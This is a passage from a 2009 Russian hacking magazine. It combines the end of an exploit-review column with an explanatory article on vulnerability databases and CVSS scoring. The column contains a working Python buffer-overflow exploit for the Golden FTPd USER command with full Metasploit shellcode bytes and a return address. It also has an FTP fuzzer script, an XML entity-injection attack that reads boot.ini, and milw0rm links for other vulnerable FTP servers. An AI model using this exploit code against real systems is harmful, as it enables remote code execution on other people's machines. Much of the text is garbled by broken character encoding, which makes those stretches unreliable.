void *ptr;<br />
n = i386_get_ldt (0, ((int)NULL) + 1, 0);<br />
XÀÊÅÐ 04 /124/ 09<br />
043
взлом<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
Эксплуатация уязвимости привела к исполнению calc.exe без ведома<br />
пользователя<br />
фаззинга не раз уже описывался на страницах журнала: по сути, это<br />
умышленное общение с сервисом с помощью аномальных запросов.<br />
Вспомним, что на самом деле FTP-протокол очень емок и насчитывает<br />
более ста команд. Соответственно, разработчики должны учесть их все<br />
в своих приложениях (а это очень трудоемкая задача) — устанавливать<br />
ограничение на вводимую длину создаваемой папки, контролируемую<br />
глубину пути и так далее. Для автоматизации процесса багоискатели<br />
пишут либо собственные скрипты, либо полноценные приложения,<br />
вроде Infigo FTP Fuzz (infigo.hr/files/ftpfuzz.zip). Как правило, подобного<br />
рода уязвимости эксплуатируются после авторизации. Для этого<br />
можно заюзать anonymous-доступ, из-под которого и осуществлять<br />
проверки. Сюжет прост — фаззером сообщаются различные данные,<br />
а параллельно мы осуществляем мониторинг поведения приложения<br />
(OllyDbg). Порой приложение не дает себя дебажить и конфликтует с<br />
«Olly». Чтобы решить проблему, попробуй использовать альтернативный<br />
отладчик. FaultMon (research.eeye.com/html/tools/RT20060801-4.<br />
html) — утилита для выявления экспешнов в приложении и их корректной<br />
работы.<br />
Для аттача процесса в OllyDbg можно воспользоваться соответствующей<br />
вкладкой или использовать флаг -P (с указанием PID процесса).<br />
Аналогичный флаг присутствует и в FaultMon. Рассмотрим процесс<br />
анализа Golden FTPd. Аттачим процесс к дебаггеру и начинаем фаззинг<br />
по всем параметрам. Так как сервис привязан к запуску «внутри»<br />
Olly, для более качественной отладки после креша предстоит играться<br />
с Debug > Restart. Из-за переполнения входных данных по команде<br />
USER мы выявили переполнение буфера, и значение EIP перезаписалось<br />
на 41414141.<br />
Путем замеров выясняем, что переполнили буфер 3000 байтами. Далее<br />
требуется передать управление на шелл-код путем изменения адреса<br />
возврата. Кликаем правой кнопкой мыши в окне OllyDbg: Overflow<br />
Return Address ASCII Overflow returns Search JMP/Call ESP. Когда<br />
эта процедура завершена, палим View Log, чтобы отследить расположение<br />
«jmp esp», «call esp» в процессе и связанных DLL.<br />
Теперь View Executable Modules — и по базе OpCodeDB в Metasploit<br />
определяем адрес возврата: 0x750362c3 — ws2_32.dll (opcode —<br />
pop,pop.ret). Обнаружили, что данный адрес содержит pop,pop.ret.<br />
Так как они нужны нам, прибавляем единицу к адресу возврата, чтобы<br />
пропустить одну из команд pop (0x750362c4).<br />
Мы можем воспользоваться готовым шелл-кодом win32_exec из пакета<br />
Metasploit (payloads):<br />
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"<br />
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"<br />
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"<br />
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"<br />
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"<br />
044<br />
Переполнение буфера привело к перезаписи регистра EIP<br />
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"<br />
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"<br />
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"<br />
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"<br />
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"<br />
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4"<br />
# (3000 bytes)<br />
sc = 'A' * 3000<br />
# calc.exe Shellcode(172 bytes)<br />
sc += "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"<br />
sc += "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"<br />
sc += "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"<br />
sc += "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"<br />
sc += "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"<br />
sc += "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"<br />
sc += "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"<br />
sc += "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"<br />
sc += "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"<br />
sc += "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"<br />
sc += "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4"<br />
# Windows 2000 SP0,1,2,3,4 (pop,pop,ret+1)= (pop,ret)<br />
# Thanks Metasploit!<br />
return_address='\xC5\x2A\x02\x75’<br />
buffer = '\xEB\x30' + ' /' + sc + return_address + '\r\n\r\n'<br />
print buffer<br />
Эксплойт готов! После его запуска и отправки соответствующего<br />
содержимого мы получим удаленное исполнение calc.exe на целевой<br />
машине.<br />
Устройство самого фаззера можно понять на простом примере.<br />
Воспользуемся вспомогательным средством antiparser (antiparser.<br />
sourceforge.net) — это API, которое написано на Python и позволяет<br />
создать специальные блоки данных для применения в фаззерах. Что<br />
же представляют собой эти блоки?<br />
apChar() — âîñüìèáèòíûé ñèìâîë<br />
apCString() — ñòðîêà (êàê â ÿçûêå Ñ), ñîñòîÿùàÿ èç çíàêîâ<br />
è çàêàí÷èâàþùàÿñÿ íóëåâûì ñèìâîëîì<br />
apKeywords() — ñïèñîê ïàðàìåòðîâ, îòäåëåííûõ äðóã îò<br />
XÀÊÅÐ 04 /124/ 09
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
>> взлом<br />
обзор<br />
эксплоитов<br />
Схема работы FTP-протокола<br />
äðóãà ñïåöèàëüíûì ñèìâîëîì èëè äðóãèì áëîêîì äàííûõ<br />
apLong() — 32-áèòíîå öåëîå<br />
apShort() — 16-áèòíîå öåëîå<br />
apString() — ïðîèçâîëüíàÿ ñòðîêà (aka «free form<br />
string»)<br />
Наиболее интересен тип apKeywords(). Последовательность, задаваемая<br />
им выглядит так: [ключевое слово (например, команда FTP)]<br />
[разделитель][блок данных (параметры к команде)][символ конца<br />
блока]. Применительно к FTP можно сделать такой набросок:<br />
# èìïîðòèðóåì âñå ôóíêöèè èç ìîäóëÿ<br />
From antiparser import *<br />
# çàäàåì ñïèñîê êîìàíä â êà÷åñòâå êëþ÷åâûõ ñëîâ òèïà<br />
ñïèñîê<br />
CMDLIST = ['ABOR', ‘ALLO', 'APPE', 'CDUP', 'XCUP',<br />
'CWD', 'XCWD', 'DELE', 'HELP', 'LIST', 'MKD', 'XMKD',<br />
'MACB’, 'MODE', 'MTMD', 'NLST', 'NOOP', 'PASS', ‘PASV',<br />
'PORT', 'PWD', 'XPWD', 'QUIT', 'REIN', 'RETR', 'RMD',<br />
'XRMD', 'REST', 'RNFR', 'RNTO', 'SITE', 'SIZE', 'STAT’,<br />
'STOR', 'STRU', 'STOU', 'SYST', 'TYPE', 'USER']<br />
# çàäàåì ñèìâîë ðàçäåëèòåëÿ è çàâåðøàþùåãî çíàêà<br />
SEPARATOR = ""<br />
TERMINATOR = "\r\n"<br />
for cmd in CMDLIST:<br />
# èíèöèàëèçèðóåì API<br />
Ap = antiparser()<br />
# íàñòðàèâàåì íà ðåæèì ñî ñâîèìè êëþ÷åâûìè ñëîâàìè<br />
cmdkw = apKeywords()<br />
# çàäàåì ñëîâà, ðàçäåëèòåëü è çàâåðøàþùèé ñèìâîë<br />
cmdkw.setKeywords([cmd])<br />
cmdkw.setSeparator(SEPARATOR)<br />
cmdkw.setTerminator(TERMINATOR)<br />
# ÷åì áóäåì ôàççèòü, â êà÷åñòâå ïàðàìåòðîâ ê êîìàíäàì<br />
XÀÊÅÐ 04 /124/ 09<br />
База опкодов Metasploit<br />
cmdkw.setContent(r»%n%n%n%n%n%n%n%n%n%n%n%»)<br />
# äåëàåì òàê, ÷òîáû ãåíåðèðóåìûå áëîêè äàííûõ âàðüèðîâàëèñü<br />
ïî ðàçìåðó ñ íàðàñòàíèåì äî 65536 áàéò<br />
cmdkw.setMode('incremental')<br />
cmdkw.setMaxSize(65536)<br />
045
взлом<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
03<br />
NEXTAPP<br />
ECHO XML<br />
INJECTION<br />
>> Brief:<br />
Одна из неочевидных и интересных атак. Пример сценария: от клиента<br />
отправляются XML-данные, поступают на сторону приложения, где<br />
обрабатываются XML-парсером.<br />
Типичный запрос:<br />
С помощью таких инструментов, как Http-Analyzer или плагин к Mozilla<br />
Tamper Data, очень удобно проводить атаки на заголовки<br />
aa<br />
ap.append(cmdkw)<br />
# øëåì âñþ êàðòèíó íà óêàçàííûé õîñò è ïîðò ñ ïîìîùüþ<br />
ñîêåòîâ<br />
sock = apSocket()<br />
sock.connect(HOST, PORT)<br />
print sock.recv(1024)<br />
sock.sendTCP(ap.getPayload())<br />
print sock.recv(1024)<br />
sock.close<br />
Отмечены все доступные методы для «общения». Тестирование выявило<br />
затруднения при обработке CWD/CDUP. «Access violation» представляет<br />
ситуацию, когда приложение пытается прочитать участок памяти, которого<br />
не существует (характерная ошибка — «Read of»). Вторая ошибка связана<br />
с записью в участок памяти («Write to») , который был недоступен, либо<br />
приложение не имело привилегий для записи. Для отслеживания такого<br />
рода ошибок требуется выставить флажки в OllyDbg (Options Debugging<br />
Options Exceptions) «Memory Access Violation», «Single Step Break».<br />
>> Targets<br />
Выявленные таким способом уязвимости:<br />
• WinFTP 2.3.0<br />
Передача аномального параметра в команде LIST (LIST *). Позволяет<br />
перезаписать arbitary-память (http://milw0rm.com/exploits/7875).<br />
• GuildFTPd FTP Server Version 0.x.x<br />
Обход ограничения безопасности по команде DELETE (http://milw0rm.<br />
com/exploits/8200).<br />
Может быть осуществлено с применением техник directory traversal ( \..).<br />
• WFTPD Explorer Pro 1.0<br />
Переполнение кучи (http://milw0rm.com/exploits/7913).<br />
• Serv-U 7.4.0.1<br />
Неавторизированное создание произвольных директорий (http://<br />
milw0rm.com/exploits/8211).<br />
Вдобавок, следует понимать, что неразумное использование<br />
экстремально больших параметров иногда приводит к отказу в<br />
обслуживании сервиса. Этот продукт, к сожалению, не исключение.<br />
При сообщении большого числа (свыше 2000) команд SMNT<br />
после авторизации — происходит аварийное завершение работы<br />
сервиса.<br />
046<br />
Вредоносный запрос:<br />
]><br />
Интересность в том, что языковыми средствами языка XML злоумышленник<br />
может продекларировать новый объект. Тот, в свою очередь,<br />
объявит объект, содержащий boot.ini, на который можно будет сослаться<br />
в XML-запросе.<br />
>> Targets<br />
NextApp Echo < 2.1.1<br />
>> Exploits<br />
http://milw0rm.com/exploits/8191<br />
Код запроса представлен выше, инжект такого XML-request’a может<br />
быть выполнен с помощью средств JS/HTTP-POST.<br />
04<br />
УЯЗВИМОСТИ В ФУНКЦИЯХ FTS_*<br />
В LIBC (HTTP://MILW0RM.COM/<br />
EXPLOITS/8163).<br />
Здесь мы видим некорректную обработку исключительных ситуаций<br />
при длинном пути. Набор функций fts занимается отображением<br />
иерархии файловой системы UNIX — ftp_open() возвращает хэндл на<br />
файловую иерархию, и он может быть «скормлен» одной из следующих<br />
функций:<br />
• fts_read — возвращает указатель на структуру, описывающую один<br />
из элементов файловой иерархии;<br />
• fts_children() возвращает указатель на список структур, каждая из<br />
которых описывает один из файлов внутри дочерней директории.<br />
Обратимся к структуре, описывающей иерархию:<br />
typedef struct _ftsent {<br />
unsigned short fts_info; /* ôëàãè íà FTSENT-ñòðóêòóðó*/<br />
char *fts_accpath; /* ïóòü äîñòóïà */<br />
char *fts_path; /* òåêóùèé êàòàëîã */<br />
size_t fts_pathlen; /* strlen(fts_path) */<br />
char *fts_name; /* èìÿ ôàéëà */<br />
size_t fts_namelen; /* strlen(fts_name) */<br />
short fts_level; /* ãëóáèíà èåðàðõèè (-1 äî N) */<br />
XÀÊÅÐ 04 /124/ 09
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
>> взлом<br />
int fts_errno; /* èñêëþ÷åíèÿ */<br />
long fts_number; /* íóìåðîâàííîå çíà÷åíèå */<br />
void *fts_pointer; /* ëîêàëüíûé àäðåñ â ïàìÿòè */<br />
struct _ftsent *fts_parent; /* ðîäèòåëüñêàÿ äèðåêòîðèÿ<br />
*/<br />
struct _ftsent *fts_link; /* ñëåäóþùàÿ ôàéëîâàÿ<br />
ñòðóêòóðà */<br />
struct _ftsent *fts_cycle; /* ñòðóêòóðà èåðàðõèè ïî<br />
öèêëó */<br />
struct stat *fts_statp; /* ñòàòèñòèêà ïî ôàéëàì<br />
èåðàðõèè */<br />
} FTSENT;<br />
Заметим, что fts_level имеет тип short. Это наводит на определенные<br />
мысли. При изучении кода взгляд натыкается на комментарий<br />
разработчиков:<br />
- ---line-616-625---<br />
/*<br />
* Figure out the max file name length that can<br />
be stored in the<br />
* current path -- the inner loop allocates<br />
more path as necessary.<br />
* We really wouldn’t have to do the maxlen<br />
calculations here, we<br />
* could do them in fts_read before returning<br />
the path, but it’s a<br />
* lot easier here since the length is part of<br />
the dirent structure.<br />
*<br />
* If not changing directories set a pointer so<br />
that can just append<br />
* each new name into the path.<br />
*/<br />
- ---line-616-625---<br />
«По правде говоря, мы не будем здесь делать какие-либо вычисления<br />
с огромными именами... и здесь должен быть уровень<br />
ограничений или «pathlen»-монитор». Конечно, должен, но где<br />
же он? Безусловно, недоработка, а точнее недоделка.<br />
#define NAPPEND(p)\<br />
(p->fts_path[p->fts_pathlen — 1] == ‘/’ \<br />
? p->fts_pathlen — 1 : p->fts_pathlen)<br />
Естественно, эта функция пойдет в креш, если мы обратимся к неправильному<br />
участку памяти с помощью аномальных параметров.<br />
127# pwd<br />
/home/cxib<br />
# êîëè÷åñòâî ðîäèòåëüñêèõ êàòàëîãîâ î÷åíü âåëèêî<br />
127# du /home/<br />
4 /home/cxib/.ssh<br />
Segmentation fault (core dumped)<br />
127# rm -rf Samotnosc<br />
Segmentation fault (core dumped)<br />
127# chmod -R 000 Samotnosc<br />
Segmentation fault (core dumped)<br />
>> Targets<br />
• OpenBSD 4.4 (/usr/src/lib/libc/gen/fts.c)<br />
• Microsoft Interix 6.0 10.0.6030.0 x86<br />
• Microsft Vista Enterprise (SearchIndexer.exe) z<br />
XÀÊÅÐ 04 /124/ 09<br />
47
взлом<br />
BID<br />
Secunia<br />
OSVDB<br />
АНДРЕЙ «SKVZ» КОМАРОВ<br />
/ KOMAROV@ITDEFENCE.RU /<br />
МЕРЯЕМ<br />
УЯЗВИМОСТИ<br />
ISS X-Force<br />
КЛАССИФИКАТОРЫ И МЕТРИКИ КОМПЬЮТЕРНЫХ БРЕШЕЙ<br />
Åæåäíåâíî ñîòíÿìè õàêåðîâ îáíàðóæèâàþòñÿ òûñÿ÷è óÿçâèìîñòåé, — ïîñëå<br />
÷åãî âçëàìûâàåòñÿ êó÷à ñàéòîâ, è äåòàëè áàãîâ âûêëàäûâàþòñÿ â áàãòðàê íà<br />
âñåîáùåå îáîçðåíèå. Íàâåðíÿêà, òû ÷èòàë ïîäîáíûå îáçîðû è çàìå÷àë, ÷òî<br />
êàæäûé áàã îïðåäåëåííûì îáðàçîì êëàññèôèöèðóåòñÿ. ×òî ñîáîé ïðåäñòàâëÿåò<br />
èçìåðåíèå óÿçâèìîñòè, ïî êàêèì êðèòåðèÿì ïðîèçâîäèòñÿ è íà êîé<br />
÷åðò ýòî âîîáùå íóæíî çíàòü? Îòâåòû òû íàéäåøü â ýòîé ñòàòüå.<br />
>> взлом<br />
«Общепринятых систем по классификации<br />
брешей в нашей стране не существует» — эту<br />
фразу я поставлю во главу угла. Продвинутым<br />
государством в этом плане стали США. Там<br />
ведут несколько классификаций и активно используют<br />
их как в образовательном процессе,<br />
так и в технологиях. Одной из самых известных<br />
систем классификации является CVE, которая<br />
курируется компанией NCSD (National Cyber<br />
Security Division) при одном из Министерств<br />
США. Рассмотрим эту систему подробнее.<br />
СVE (COMMON VULNERABILITIES AND<br />
EXPOSURES)<br />
По сути, CVE — это «словарь» известных уязвимостей,<br />
имеющий строгую характеристику<br />
по описательным критериям, что отличает его,<br />
скажем, от Bugtrack-ленты. Полностью CVE<br />
можно отыскать в Национальной Базе Уязвимостей<br />
США (NVD — nvd.nist.gov) или на официальном<br />
сайте (cve.mitre.org/data/downloads).<br />
Причем, распространяется база в нескольких<br />
форматах: xml, html, csf, xsd schema. Из-за<br />
такой доступности, открытости и удобства к<br />
базе CVE часто обращаются сами разработчики<br />
различного ПО (в первую очередь, нацеленного<br />
на рынок информационной безопасности).<br />
Общий вид записи CVE выглядит примерно так:<br />
CVE ID, Reference è Description.<br />
ID записывается с указанием кода и порядкового<br />
номера, например «CVE-1999-03». В поле<br />
Reference записываются различного рода<br />
ссылки на патчи, рекомендательного рода<br />
документы или комментарии разработчика.<br />
Description отвечает за описание самой уязвимости.<br />
Короче, CVE — система широкого профиля<br />
и никоим образом не сосредотачивается<br />
только на клиентских уязвимостях или, скажем,<br />
исключительно на WEB-протоколе. Изначально<br />
она задумывалась как единый стандарт<br />
идентификации уязвимостей, который должен<br />
охватывать несколько звеньев информационной<br />
системы: систему поиска и обнаружения<br />
брешей (например, сканер безопасности),<br />
антивирусное ПО, а также исследуемое ПО. Как<br />
появилась идея ее создания? Многие компании<br />
занимаются поиском брешей в различных<br />
продуктах на основе политики (не)разглашения<br />
информации и взаимодействия с производителями.<br />
Как-то, при исследовании одного из<br />
продуктов десятью различными компаниями,<br />
одной и той же уязвимости были присвоены<br />
абсолютно разные названия. После выявления<br />
сей вопиющей несправедливости было принято<br />
соглашение о едином стандарте. Тогда же компания<br />
MITRE Corporation (mitre.org) предложила<br />
решение, независимое от различных производителей<br />
средств поиска уязвимостей, и взяла<br />
на себя ответственность за его воплощение.<br />
Нельзя сказать, что после этого все баги стали<br />
упорядоченными. Разработчики продолжают<br />
активно развивать самостоятельные начинания.<br />
Часть из них имеют платную подписку, и<br />
антивирусные компании частенько обращаются<br />
048<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
BID<br />
OSVDB<br />
Secunia<br />
к ним и добавляют соответствующие сигнатуры<br />
в свои продукты. Стоимость такой годовой подписки<br />
составляет около $5000 и выше.<br />
BID<br />
Эта классификация присутствует исключительно<br />
на портале Securityfocus (используется в<br />
ленте securityfocus.com/vulnerabilities). Одна<br />
из отличительных особенностей BID — совместимость<br />
с CVE. Условно говоря, найденная<br />
уязвимость в BID имеет ссылку на номер CVE и,<br />
соответственно, равнозначна по информации.<br />
У системы есть ряд описательных свойств —<br />
например, класс, возможность локального или<br />
удаленного исполнения и т.п. В будущем ты<br />
убедишься, что этих параметров недостаточно<br />
для полной характеристики, но, тем не менее,<br />
BID дает разработчику вполне наглядную<br />
информацию о выявленной бреши.<br />
OSVDB<br />
Название расшифровывается примерно как:<br />
«Открытая база данных уязвимостей». Все<br />
просто и со вкусом. Классификация создана<br />
тремя некоммерческими организациями. Двести<br />
волонтеров со всего мира активно участвуют в<br />
ее наполнении. Среди прочего присутствуют:<br />
локация эксплуатации (сетевой доступ/локальный<br />
доступ) и импакт (ущерб от уязвимости,<br />
воздействие на какую-либо часть целевой<br />
информационной системы).<br />
SECUNIA<br />
Эта датская компания, лента уязвимостей<br />
которой доступна по адресу secunia.com,<br />
уже заработала себе достаточно славы. Не<br />
сказать, чтобы их портал внес какую-то особую,<br />
добавочную классификацию, но именно он<br />
предлагает услуги платной подписки на базу<br />
уязвимостей.<br />
ISS X-FORCE<br />
ISS затрагивает все перечисленные выше критерии,<br />
но вдобавок описывает бизнес-импакт,<br />
а именно — материальный ущерб, который<br />
может повлечь за собой угроза эксплуатации.<br />
Например, баг «Microsoft Excel Remote<br />
Code Execution», нацеленный на компьютер<br />
сотрудника банка или предприятия, способен<br />
привести к краже важных документов, ущерб<br />
от разглашения которых может исчисляться<br />
миллионами. Оценить урон от различных<br />
видов атак можно, ознакомившись с одним<br />
из ведущих блогов в русскоязычном сегменте<br />
о security-бричах и утечках — Perimetrix<br />
(securitylab.ru/blog/company/Perimetrix_blog).<br />
Также в системе присутствует качественно<br />
новая черта — переход к метрикам безопасности<br />
для описания свойств уязвимости. Для<br />
этого используется общая система подсчета<br />
рисков уязвимостей CVSS версии 2. Она<br />
представляет собой шкалы, на основе которых<br />
выставляются баллы. Система метрик была<br />
придумана для разделения приоритетов над<br />
исправлением уязвимостей. Каждая шкала<br />
относится к определенному смысловому разделу,<br />
который называется метрикой. В CVSS v.2<br />
их три: базовая метрика, временная метрика<br />
и контекстная метрика. Хакеров заинтересует<br />
только первая.<br />
БАЗОВАЯ МЕТРИКА<br />
Нередко на солидных порталах по безопасности<br />
можно увидеть фразу — «CVSS Base Score =<br />
9.2». Как это понимать? Параметр вычисляется<br />
по специальной формуле:<br />
BaseScore = round_to_1_decimal(((<br />
0.6*Impact)+(0.4*Exploitability)-<br />
1.5)*f(Impact))<br />
— плюс еще несколько. Все эти формулы можно<br />
найти по адресу first.org/cvss. Чтобы все стало<br />
понятнее, рассмотрим пример. Задан вектор<br />
уязвимости базовой метрики вида: «AV:N/<br />
AC:L/Au:N/C:N/I:N/A:C». Все красуется на<br />
странице описания, но ты абсолютно не можешь<br />
расшифровать эти иероглифы! Я тебе<br />
помогу. Итак, расшифровываем по порядку.<br />
Access Vector: Network — возможность доступа<br />
к объекту исключительно через сеть. Для эксплуатации<br />
уязвимости злоумышленник должен<br />
обладать доступом к уязвимому ПО, причем этот<br />
доступ ограничен только величиной сетевого<br />
стека. Локального доступа или доступа из<br />
Политика разглашения<br />
информации об уязвимости<br />
Недокументированные<br />
уязвимости<br />
В настоящее время эксперты мозгуют над включением вектора<br />
«недокументированные уязвимости» в одну из метрик. Этот параметр<br />
имеет высокое значение. В недалеком будущем мы сможем<br />
лицезреть строку undercover vulnerabilities — «вероятно, возможные<br />
к исполнению». На сайте, посвященном развитию метрик<br />
информационной безопасности (securitymetrics.org/content/Wiki.<br />
jsp), вывешено публичное обращение по поводу того, как и каким<br />
образом исчислять этот параметр. Все желающие могут отправить<br />
туда свои предложения.<br />
Это соглашение имеет ряд нюансов. Например, хакер, обнаружив<br />
уязвимость, ищет контакты, чтобы направить соответствующий<br />
запрос производителю. Если по истечении пяти дней производитель<br />
отмалчивается, вводит в заблуждение своих пользователей какимито<br />
способами или некорректно вступает в диалог, то ему отправляется<br />
повторное письмо. Выжидаются еще пять рабочих дней, после чего<br />
баг-хантер вправе помещать описание о баге на собственном ресурсе<br />
или в публичные багтраки. При этом в письме требуется оговорить и<br />
согласовать дату публикации, чтобы производитель успел выпустить<br />
обновление или советы по защите от эксплуатации. Важно отметить,<br />
что если стороннее третье лицо опубликовало данные об эксплуатации<br />
найденной тобой уязвимости, ты можешь смело постить ее<br />
подробности без согласования с кем-либо. Вот такая арифметика.<br />
XÀÊÅÐ 04 /124/ 09<br />
049
взлом<br />
Secunia<br />
Подсчитанное значение Base Score для уязвимости в Microsoft Windows<br />
Kernel GDI<br />
Все самое интересное и вкусное распространяется только платно<br />
Существует очень много видов систем и баз для учета уязвимостей. Многие<br />
из них совместимы с CVE<br />
BID указывает лишь несколько характеристик о свойствах уязвимости<br />
info<br />
Истинные корни<br />
создания единой<br />
классификации<br />
багов и их контроля<br />
— это Unix<br />
Known Problem<br />
List, Internal Sun<br />
Microsystems Bug<br />
List, каталоги служб<br />
реагирования на<br />
компьютерные<br />
инциденты CERT<br />
ранних версий.<br />
050<br />
соседней сети не требуется. Такие уязвимости часто называют<br />
эксплуатируемыми удаленно. Примером такой сетевой атаки<br />
служит переполнение буфера RPC.<br />
Access Complexity: Low — сложность доступа к ресурсу:<br />
низкая. Для эксплуатации специальных условий и особых<br />
обстоятельств не требуется — все стандартно, шаблонно,<br />
общедоступно.<br />
Authentication: None — для эксплуатации не нужна авторизация.<br />
Например, если бы это был сервис, который требует<br />
предварительной авторизации по какой-нибудь мудреной<br />
схеме (смарт-карты, ключи, токены), то значение этого<br />
вектора было бы другим.<br />
Confidentiality Impact: None — влияние на разглашение<br />
критичной информации. Integrity Impact: None — нарушение<br />
целостности. Понятие «целостность» связано<br />
с достоверностью и точностью информации. Если бы у<br />
злоумышленника была возможность модификации файлов,<br />
изменения области исполнения файлов, то мы бы поставили<br />
здесь C (полное) или P (частичное, от «partial»).<br />
Availability Impact: Complete — атаки, потребляющие пропускную<br />
способность сети, циклы процессора или дисковое<br />
пространство, которые влияют на доступность системы.<br />
Если эксплуатация уязвимости вызывает отказ в обслуживании,<br />
то Availability Impact имеет значение «Complete».<br />
ВРЕМЕННАЯ МЕТРИКА<br />
Более глубоким анализом занимаются временные и<br />
контекстные метрики. Дело в том, что описанные векторы<br />
базовой метрики со временем не меняются. Они постоянны<br />
и могут характеризовать уязвимость по назначению и<br />
опасности. А какие критерии могут изменяться с течением<br />
времени? Представь, что ты нашел критическую уязвимость<br />
и уведомил разработчика. Временной интервал исправления<br />
уязвимости в таком случае имеет значение, да и к<br />
тому же, сам изменяется во времени (это может быть день,<br />
час, либо производитель вообще никак не отреагирует).<br />
Или ситуация, когда твой друг написал боевой эксплойт на<br />
недавнюю уязвимость «нулевого дня». Как долго этот код<br />
будет актуален? Он ускорит риск эксплуатации, следовательно,<br />
должен учитываться при ее описании. Доступна ли<br />
будет его технология к завтрашнему дню? На все эти вопросы<br />
отвечают временные метрики. Рассмотрим некоторые их<br />
векторы.<br />
Exploitability (E) — возможность эксплуатации. Пожалуй,<br />
один из важнейших критериев. Речь идет конкретно о<br />
доступности средства (кода, эксплойта, технологии), которое<br />
успешно работает. Важно учитывать и то, что доступный<br />
эксплойт можно использовать далеко не всегда. Используемые<br />
описательные флаги: U (недоступен или непроверен),<br />
Proof-of-Concept (POC — опубликована наглядная<br />
демонстрация уязвимости), F (функциональный, и рабочий<br />
эксплойт у тебя в руках), H («high risk» всей темы, чаще<br />
всего характерен для червей или для уязвимостей с широко<br />
популярным описанием), ND (без разницы, вектор метрики<br />
не влияет ни на что существенное, поэтому учитывать его<br />
не надо). Remediation Level (RL) — уровень исправления.<br />
Голос уязвимости услышал весь свет, вот только как поступят<br />
разработчики? Порой они просто молчат, потому что их уже<br />
не осталось в живых (простите, за цинизм и черный юмор), а<br />
иногда абсолютно сторонние организации и неофициальные<br />
источники начинают заботиться о безопасности на первый<br />
взгляд чужих продуктов и оперативно писать заплатки.<br />
Report Confidence (RC) — степень достоверности отчета.<br />
Сколько слухов и разговоров крутится вокруг! Банальный<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
BID<br />
OSVDB<br />
Secunia<br />
Вывод характеристик с сайта osvdb.org. Не всегда авторам известно о<br />
наличии боевого кода в природе, что затемняет подробности уязвимости<br />
На официальном сайте Национальной базы данных уязвимостей<br />
есть возможность поиска по критериям CVSS<br />
Если ты заметил, мы обращались к новой редакции CVSS (2). Существует<br />
еще и первая, облегченная версия, не учитывающая многих параметров.<br />
Тем не менее, она пригодна к использованию и намного проще. Посчитать<br />
Base Score для нее можно с помощью сервиса на офсайте NVD<br />
пример: человек написал информацию якобы<br />
о рабочей критической уязвимости. А на деле<br />
оказалось, что это программный дефект и<br />
ничего существенного собой не представляет.<br />
Подтверждена ли уязвимость экспертами или<br />
же это просто проделки хакерских слухов? Ответ<br />
на этот вопрос даст вектор Report Confidence.<br />
Параметры всех указанных векторов градируются<br />
вариантами «да/нет/возможно».<br />
КОНТЕКСТНАЯ МЕТРИКА<br />
Эти группы векторов отражают влияние на<br />
среду пользователя и изучают поведение<br />
после эксплуатации уязвимости. Как правило,<br />
метрика используется в качестве дополнения<br />
к базовой. Collateral Damage Potential (CDP)<br />
— вероятность нанесения косвенного ущерба.<br />
Описывает экономические или технические потери.<br />
Скажем, нам встретится уязвимость, приводящая<br />
к DoS-атаке. После ее эксплуатации<br />
часть сетевого оборудования перегревается,<br />
не справляясь с работой, и выходит из строя. Но<br />
при этом ущерб оказывается незначительным<br />
из-за низкой стоимости устройства и его расположения<br />
(вне защищаемых и важных объектов).<br />
Target Distribution (TD) — плотность целей.<br />
Влияет ли уязвимость только на одну цель, либо<br />
с ее помощью можно поработить огромное<br />
число машин? Если это стендовое показательное<br />
выступление, лабораторный практикум или<br />
эксплуатация на машине, изолированной от<br />
других, то значение этого вектора равно нулю.<br />
ИСПОЛЬЗОВАНИЕ<br />
КЛАССИФИКАТОРОВ В СКАНЕРАХ<br />
Современные автоматизированные аудиторы<br />
принято затачивать под какую-либо конкретную<br />
базу знаний. Во-первых, это престижно, во-вторых<br />
— полезно. К примеру, при подготовке к аттестации<br />
по одному из современных стандартов (NERC-CIP,<br />
